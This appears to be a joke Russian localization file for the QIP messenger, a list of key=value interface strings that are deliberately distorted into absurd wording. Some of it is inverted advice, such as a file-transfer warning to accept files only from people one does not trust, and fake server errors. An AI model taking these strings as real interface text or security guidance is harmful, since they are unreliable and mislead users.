EQ=Менять статус на "Недоступен" после %s минут простоя
ER=Ежедневно проверять наличие новой версии Болталки
ES=Настройка всплывающих окон (шир x выс : сек показа):
ET=Фоновая картинка списка контактов
EU=Локализованная учетная запись
EV=Размещать попку приложения на панели задач
EW=Включить возможность передачи файлов
EX=Передача файлов делает ваш IP адрес видимым пользователям,|которым вы передаете или от кого получаете файлы. Внимание!|Получаемые файлы могут нести потенцию для|данных на вашем компьютере. Принимайте файлы только от людей,|которым вы не доверяете. Передача файлов открывает корабельный порт на вашем|компьютере для прослушивания время прибытия кораблей в Одессу. Процесс передачи файлов может не произойти, в случае|если одна из прослушивает расписание прибытия кораблей.|Включить возможность передачи файлов?
EY=Увеличивать ордена контактов при наведении курсора
EZ=Сохранять историю с контактами не из моего списка
FA=Дорога сохранения файлов истории сообщений
FB=Смайлики из теста
FC=Порты для входящих отключений (макс.7):
FD=Не показывать статус картинки контактов моего списка
FE=Автоматическое сканирование контактов
FF=Включить авто-скан невидимых контактов
FG=Авто-скан автоматически проверяет на видимость контакты, которые "Не в сети". При обнаружении видимого контакта, авто-скан будет проверять, подключился ли контакт или всё ещё в статусе "Видимый". Авто-скан может мгновенно проверить весь список контактов, и не будет проверять контакты по очереди в интервале от 2 до 3 секунд. Если вопрос трафика для вас критичен, то не включайте эту функцию.
FH=Отправлять по двойному Enter (включите отправку по Enter)
FI=Раскаённые клавиши
FJ=Комбинации раскалённых клавиш
FK=Включить поддержку глобальных раскалённых клавиш
FL=Комбинация
FM=Назначить
FN=Глобальные изменяемые комбинации
FO=Показать/Скрыть список контактов
FP=Прочесть новое входящее сообщение
FQ=Показать/Скрыть окно сообщений
FR=Показать/Скрыть приватные списки
FS=Показать/Скрыть Добавить/найти пользователей
FT=Показать/Скрыть Настройки
FU=Поиск пользователей в списке контактов
FV=Изменяемые комбинации Болталки
FW=Накрыть текущее окно
FX=Накрыть текущую вкладку сообщений
FY=Перейти на следующую покладку сообщений
FZ=Показать даники пользователя
GA=Преобразовать буквы в транслит
GB=Преобразовать в ошибочно набранные буквы
GC=Цитировать последнее полученное сообщение
GD=Отправить распечатанное сообщение
GE=Анти-гамосек бот
GF=Описание: Эта система позволит разрешить получение сообщений, содержащих нецензурные картинкифотографии. Бот будет спрашивать у пользователя указанный вами простой вопрос, ожидая неправильного ответа. И только после неправильного ответа, пользователь сможет потрепать языком. Это касается только пользователей из вашего списка контактов. Вопрос не возможно указывать сразу, а один и тот же правильный ответ указывать через пробел или запятую. Ответ чувствителен к регистру.
GG=Ваш вопрос пользователю:
GH=Правильный ответ на ваш вопрос:
GI=Ваше сообщение после получения правильного ответа:
GJ=Входящие события в окне сообщений
GK=Исходящие события в окне сообщений
GL=Не показывать заметки о необходимости авторизации
GM=Показ последних сообщений
GN=Показывать последние сообщения в окне сообщений
GO=количество сообщений для показа
GP=Ввод сообщения
GQ=Выборочная отправка
GR=Стоять
GS=Замечание отправки по выбору: Онлайн контакты получат только первые 25 символов. Контакты "Не в сети" получат только первые 5 символов.
GT=Застыковываться к границам экрана
GU=Выплывать в левой части экрана
GV=Выплывать поверх полноэкранных приложений
GW=Автоматически изменять высоту списка контактов
GX=Напоминать о днях варенья контактов
GY=Скрыть нижнюю панель
GZ=Отключить поддержку RTF сообщений
HA=Показывать контактам время застоя или моего присутствия
HB=Не показывать шарики дня варенья
HC=Запускать Болталку при выходе из системы
HD=Отключить звук входящего сообщения при активной вкладке
HE=Сохранение файлов
HF=Дорога сохранения файлов

[ToolTips]
AA=Вызвать главное меню на разборку
AB=Ваша статуэтка
AC=Ваша приватная статуэтка
AD=Убрать/удалить пользователей
AE=Защита (включение анти-гамосека/анти-проститутки)
AF=Ваша статус-фигня
AG=Убрать/удалить пользователей "Не в сети"
AH=Убрать/удалить труппы
AI=Убрать/удалить звуки
AJ=Убрать/удалить приватные списки
AK=Убрать/удалить мои даники
AL=Левый щелчок копирует содержимое в бумер
AM=Избранное из Games
AN=История гамосековпроституток
AO=Нажмите для отправки сообщений, защищённых паролем (если ваш трепальник языка использует QIP)
AP=Включить/отключить отправку уведомлений о наборе текста
AQ=Нажмите для отправки сообщений клавиши Alt+F4
AR=Очистить окно сообщений этого пользователя
AS=Закрыть эту закладку
AT=Цитировать последнее полученное сообщение
AU=Ответить кулаком в нос
AV=Меню пользователя
AW=Минимизировать в лото панели задач
AX=Поверх всех окон

[FileXfer]
AA=Передача файлов
AB=Заправить файл
AC=Файл, который вы пытаетесь заправить уже содержит 1000000 $
AD=Заправка файла
AE=Размер
AF=Запрос на передачу файла принят
AG=В запросе на передачу файла отказано
AH=Входящий файл
AI=Принять
AJ=Вы не можете принять файл. Пожалуйста, пройдите удаление с последующей аудентификацией.
AK=Текущий файл
AL=Заполнено / Размер файла
AM=Файлов
AN=Ход передачи
AO=Статуэтка
AP=Пропустить файл
AQ=Открыть папку полученных файлов
AR=Что-то не то
AS=Прервано
AT=Отключение ...
AU=Ожидание отключения ...
AV=Заправка
AW=Получение
AX=Готово
AY=Невозможно открыть порт для прослушивания расписания прибытия кораблей
AZ=Перезаписать существующий файл
BA=байт
BB=Кб
BC=Мб
BD=Гб
BE=Папок
BF=Ваш трепальник языком отменил свой вопрос на передачу вируса
BG=Возможность передачи файлов отключена. Включите возможность%sпередачи файлов в настройках в пункте "Общие".
BH=Добавьте пользователя в свой список контактов, прежде чем посылать ему файлы.

[ServerErrors]
31=Не понял.
32=Получена команда паузы/отключения сервера, необходимо переключение
33=Сначала порвите соединение
34=Ваш E-mail или аккаунт в Травиане используется на другом компьютере
35=Чтобы подключиться заново, нужно сначала прервать соединение
36=Связь порвана. Проверьте настройки отключения.
37=Неправильный E-mail или аккаунт в Травиане
38=Сервис временно взломан
39=Неверный номер E-mail или аккаунт в Травиане или пароль
30=Неверный пароль/номер
3A=Не понял.
3B=Это неверная учётная книжка
3C=Это просроченная учётная книжка
3D=Эта учётная книжка была удалена
3E=Обслуживание этой учётной книжки приостановлено
3F=Нет доступа к базе
3G=Нет доступа к револьверу
3H=Неверные поля в базе данных
3I=Неверный статус базы
3J=Неверный статус револьвера
3K=Не понял.
3L=Сервис временно взломан
3M=Ошибка направления в базе
3N=Ошибка парковки в базе
3O=Ошибка резервной схемы
3P=Ошибка резервной парковки
3Q=Достигнут предел отключений с этого IP-адреса
3R=Превышен лимит отключений! Попробуйте отключиться позже.
3S=Эта учётная унижка имеет наивысший уровень предупреждений. Попробуйте позже.
3T=Превышен интервал резервации в базе
3U=Вы используете наушники, не так ли?
3V=Вы используете колонки, не так ли?
3W=Невозможно удалиться из сети. Попробуйте позже.
3X=Неверный SecureID
3Y=Я не понял вот это:
3Z=Я не понял. А что с сервером?
AA=Эта учётная запись не удалена
AB=Это удалённая учётная запись
AC=Сервированное сообщение
AD=Одно из ваших сообщений или вопросов не доставлено. Возможно, пользователь не хочет с вами общаться, или пользователь не задерживает сообщения такого типа.
AE=Ваш клиент заправляет пейджер слишком часто. Подождите пару минут или заправляйте свой мобильный телефон помедленнее, иначе вы будете отключены от сервера.
AF=Сервированное сообщениe
AG=Правый щелчок закроет это окно
AH=Лимит вопросов в базу данных исчерпан. Попробуйте позже или проверьте опции о запросе email-адреса пользователей.
AI=Эта учётная запись заблокирована
AJ=!!! Вы используете не понятный мне ник, поэтому множество функций Болталки будут недоступны. Поддержка ников, не понятных мне, находится в стадии разработки.
AK=Служба серверного контакт-списка отключена, не вносите никаких изменений в свой список контактов! Подождите, пока эта ошибка будет исправлена. На данный момент Болталка использует локальный файл контактов.
AL="Не в сети", а ваш текст слишком велик для оффлайн-сообщения (4-5 символов, включая смайлики). Отредактируйте свое сообщение и повторите попытку.
AM=Ваш текст превышает лимит сообщения (7 символов, включая смайлики). Отредактируйте свое сообщение и повторите попытку.
AN=Внимание! Обнаружен гамосекпроститутка. Включены функции анти-гамосек/анти-проститутка. Сообщения от всех пользователей будут заблокированы, и вы также будете заситаны за гамосекапроститутку для всех до тех пор, пока не вернёте кнопку "Защита" в нажатое состояние.
AO=Количество цирков достигло максимума
AP=Количество цирков этого типа достигло максимума
AQ=Для добавленного вами контакта требуется удаление аккаунта с последующей авторизацией. В дальнейшем вы не сможете увидеть статус этого контакта, пока не отправите запрос об удалении и не получите разрешение.
AR=Извините, я не хочу вас регистрировать.
AS=Получено сообщение, зачищенное паролем, но вы не ввели пароль. Я подозреваю, что вы его не знаете. Вашему трепальнику языка необходимо послать вас подальше.
AT=Удаленное программное обеспечение не поддерживает сообщения защищенные паролем или пользователь не в сети.
AU=Ваше сообщение защищенное паролем слишком длинное (5 символов максимум).
AV=Получено сообщение с гамосеком.
5.Сохраните полученный документ и закройте его (если не закроете, QIP может не сработать)
6.Запустите QIР